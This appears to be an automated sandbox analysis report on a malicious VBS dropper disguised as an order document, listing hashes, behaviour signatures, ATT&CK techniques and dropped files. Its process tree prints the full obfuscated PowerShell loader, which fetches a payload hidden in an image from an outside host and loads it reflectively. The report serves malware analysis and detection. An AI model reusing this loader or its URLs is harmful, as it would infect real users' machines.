41bb5c0cc646087944c987764fd0a1b451ba18347ac681a0feb690aba29b32e5

General

Target

Revised orders #0427023.vbs
Size

356KB
MD5

63285d30ad5f668be67527ec6769bbd0
SHA1

0ff62ee4448ba44ec1e533a675f1c87dd69be077
SHA256

41bb5c0cc646087944c987764fd0a1b451ba18347ac681a0feb690aba29b32e5
SHA512

3f44c6101829eb1437d40ba282376ac5ebff58731caada1a9089e459bf27f862346979725e050f4a4bb9400e677b6ae553619df5d9d2a7b8882cca1e95727e97
SSDEEP

6144:7nDNa39lLUUxHUUd05brxi0wOLF5t0sRv11rUUUUOhCfktA5RMZGByJ:3Na39lLUUxHUUd05brxi0wOLF5t0sRvQ

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2732	powershell.exe
7	2732	powershell.exe
9	2732	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1020	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 1020	2968	WScript.exe	29
PID 2968 wrote to memory of 1020	2968	WScript.exe	29
PID 2968 wrote to memory of 1020	2968	WScript.exe	29
PID 1020 wrote to memory of 2732	1020	powershell.exe	30
PID 1020 wrote to memory of 2732	1020	powershell.exe	30
PID 1020 wrote to memory of 2732	1020	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised orders #0427023.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA1ADYAMwAvADYAMgAxAC8AbwByAGkAZwBpAG4AYQBsAC8AdQBuAGkAdgBlAHIAcwBvAF8AdgBiAHMALgBqAHAAZQBnAD8AMQA2ADkAMAA5ADMAMQA4ADUANQAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBGAGkAYgBlAHIALgBIAG8AbQBlACcAKQA7ACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAALAAoACcAdAB4AHQALgBrAHIAbwB3AC8AbQBvAGMALgBvAGMAcAB1AG8AcgBnAGEAYQB0AG8AbQBsAGEALgB3AHcAdwAvAC8AOgBwAHQAdABoACcAKQA7ACQAbQBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABhAHIAZwB1AG0AZQBuAHQAcwApAA=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64String( $codigo))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.krow/moc.ocpuorgaatomla.www//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9d7d6e9a4f68c6dc1525b8bc736c1459

SHA1
d08baae582250608ac55ebc2c147c244b5542b61

SHA256
b0b1ae55d1cc49e92c1b6165c812044b689f82c548ea462182c78ab66f53f30d

SHA512
dbad3a4c5b5cf10429127b2ed71f04626eb895795b378924f7b84bd0a78339dd482b125dd5d4aeee9272e42c9cf590b555dcb8980a057d90482803f68c60c17b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab56E8.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5768.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8eb1aee19a26d4254000fe8f7f7a6d65

SHA1
15fb9bc6fd4d9e179c8bb003dd97398837e8f045

SHA256
61979d8165e825a091988d98fb8381bc6a35a97c08fb8e60ff48ae64cf7b9521

SHA512
7e137f26d37b7f9a01b1ff0b578dbbf989e8f4c0b1dfddc403aaa46d31dbbb580a1586689a778bba40c109076cfae87f9f4e30ba231f8dbbb4984e3394d62498

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AQJH5LUQBIZG8R556IYD.temp

Filesize
7KB

MD5
8eb1aee19a26d4254000fe8f7f7a6d65

SHA1
15fb9bc6fd4d9e179c8bb003dd97398837e8f045

SHA256
61979d8165e825a091988d98fb8381bc6a35a97c08fb8e60ff48ae64cf7b9521

SHA512
7e137f26d37b7f9a01b1ff0b578dbbf989e8f4c0b1dfddc403aaa46d31dbbb580a1586689a778bba40c109076cfae87f9f4e30ba231f8dbbb4984e3394d62498

Download Submit
memory/1020-9-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1020-7-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/1020-4-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/1020-8-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/1020-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/1020-84-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1020-83-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1020-5-0x00000000022F0000-0x00000000022F8000-memory.dmp

Filesize
32KB

Download
memory/1020-6-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-16-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-20-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2732-19-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2732-82-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-18-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-17-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download

Analysis

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